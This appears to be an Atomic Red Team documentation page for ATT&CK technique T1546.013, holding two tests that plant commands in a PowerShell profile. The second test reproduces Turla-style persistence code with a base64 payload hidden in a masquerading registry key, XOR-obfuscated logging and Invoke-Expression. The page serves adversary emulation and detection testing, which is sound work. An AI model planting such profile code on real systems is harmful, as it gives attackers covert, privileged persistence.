logo
SlackReddit

T1546.013

Event Triggered Execution: PowerShell Profile

Description from ATT&CK

Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments.

PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)

Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)

An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)

Source

Atomic Tests

Atomic Test #1: Append malicious start-process cmdlet

Appends a start process cmdlet to the current user's powershell profile pofile that points to a malicious executable. Upon execution, calc.exe will be launched.

Supported Platforms: Windows

auto_generated_guid: 090e5aa5-32b6-473b-a49b-21e843a56896

Inputs

NameDescriptionTypeDefault Value
exe_pathPath the malicious executablepathcalc.exe
ps_profilePowershell profile to usestring$profile

Attack Commands: Run with powershell!

Add-Content #{ps_profile} -Value ""
Add-Content #{ps_profile} -Value "Start-Process #{exe_path}"
powershell -Command exit

Cleanup Commands

$oldprofile = cat $profile | Select-Object -skiplast 1
Set-Content $profile -Value $oldprofile

Dependencies: Run with powershell!

Description: Ensure a powershell profile exists for the current user
Check Prereq Commands
if (Test-Path #{ps_profile}) {exit 0} else {exit 1}
Get Prereq Commands
New-Item -Path #{ps_profile} -Type File -Force

Atomic Test #2: Turla Malicious Powershell Profile for Persistence

Creates a PowerShell profile that emulates Turla tradecraft observed in the wild. The profile checks if it is running as SYSTEM (S-1-5-18) via WMI, logs execution to an XOR-obfuscated file disguised as a thumbnail cache (C:\Users\Public\Downloads\thumbs.ini), reads a base64-encoded payload from a registry key masquerading as an ActiveX compatibility entry, and executes it via Invoke-Expression.

Reference: https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/

Supported Platforms: Windows

auto_generated_guid: b5d7e195-4b66-428a-b6d5-04d671a13869

Inputs

NameDescriptionTypeDefault Value
profile_pathPath to the PowerShell profile to createpath$profile
benign_payloadBenign PowerShell command to base64-encode and store in the registry as the payloadstringGet-Date

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$regPath = "HKLM:\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{226ed533-f1b0-481d-ad26-0ae78bce81d7}"
if (!(Test-Path $regPath)) { New-Item -Path $regPath -Force | Out-Null }
$encodedPayload = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes('#{benign_payload}'))
Set-Item -Path $regPath -Value $encodedPayload
$profileContent = @'
try
{
    $SystemProc = (Get-WmiObject 'Win32_Process' | ?{$_.ProcessId -eq $PID} | % {Invoke-WmiMethod -InputObject $_ -Name 'GetOwner'} | ?{(Get-WmiObject -Class Win32_Account -Filter "name='$($_.User)'").SID -eq "S-1-5-18"})
    if ("$SystemProc" -ne "")
    {
      $([Convert]::ToBase64String($([Text.Encoding]::ASCII.GetBytes("<m>$([DateTime]::Now.ToString('G')): STARTED </m>") | %{ $_ -bxor 0xAA })) + "|") | Out-File 'C:\Users\Public\Downloads\thumbs.ini' -Append
      [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{226ed533-f1b0-481d-ad26-0ae78bce81d7}').'(Default)')) | iex
    }
}
catch{$([Convert]::ToBase64String($([Text.Encoding]::ASCII.GetBytes("<m>$([DateTime]::Now.ToString('G')): $_ </m>") | %{ $_ -bxor 0xAA })) + "|") | Out-File 'C:\Users\Public\Downloads\thumbs.ini' -Append}
'@
New-Item -ItemType Directory -Path (Split-Path "#{profile_path}") -Force
Set-Content "#{profile_path}" -Value $profileContent -Force
Start-Process powershell.exe -ArgumentList "-Command", "Start-Sleep -Seconds 30" -Wait

Cleanup Commands

if (Test-Path "$env:TEMP\T1546.013_profile_backup") {
  Move-Item "$env:TEMP\T1546.013_profile_backup" "#{profile_path}" -Force
} else {
  Remove-Item "#{profile_path}" -Force -ErrorAction SilentlyContinue
}
$regPath = "HKLM\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{226ed533-f1b0-481d-ad26-0ae78bce81d7}"
reg delete "$regPath" /f 2>&1 | Out-Null
if (Test-Path "$env:TEMP\T1546013_activex_backup.reg") {
  reg import "$env:TEMP\T1546013_activex_backup.reg" 2>&1 | Out-Null
  Remove-Item "$env:TEMP\T1546013_activex_backup.reg" -Force
}
Remove-Item "C:\Users\Public\Downloads\thumbs.ini" -Force -ErrorAction SilentlyContinue

Dependencies: Run with powershell!

Description: Back up the PowerShell profile if it exists
Check Prereq Commands
if ((Test-Path "$env:TEMP\T1546.013_profile_backup") -or !(Test-Path "#{profile_path}")) { exit 0 } else { exit 1 }
Get Prereq Commands
Copy-Item "#{profile_path}" "$env:TEMP\T1546.013_profile_backup" -Force
Description: Back up the modified registry key if it exists
Check Prereq Commands
$regPath = "HKLM:\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{226ed533-f1b0-481d-ad26-0ae78bce81d7}"
if ((Test-Path "$env:TEMP\T1546013_activex_backup.reg") -or !(Test-Path $regPath)) { exit 0 } else { exit 1 }
Get Prereq Commands
reg export "HKLM\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{226ed533-f1b0-481d-ad26-0ae78bce81d7}" "$env:TEMP\T1546013_activex_backup.reg" /y

Atomic test(s) for this technique last updated: 2026-10-20 23:16:29 UTC

On this page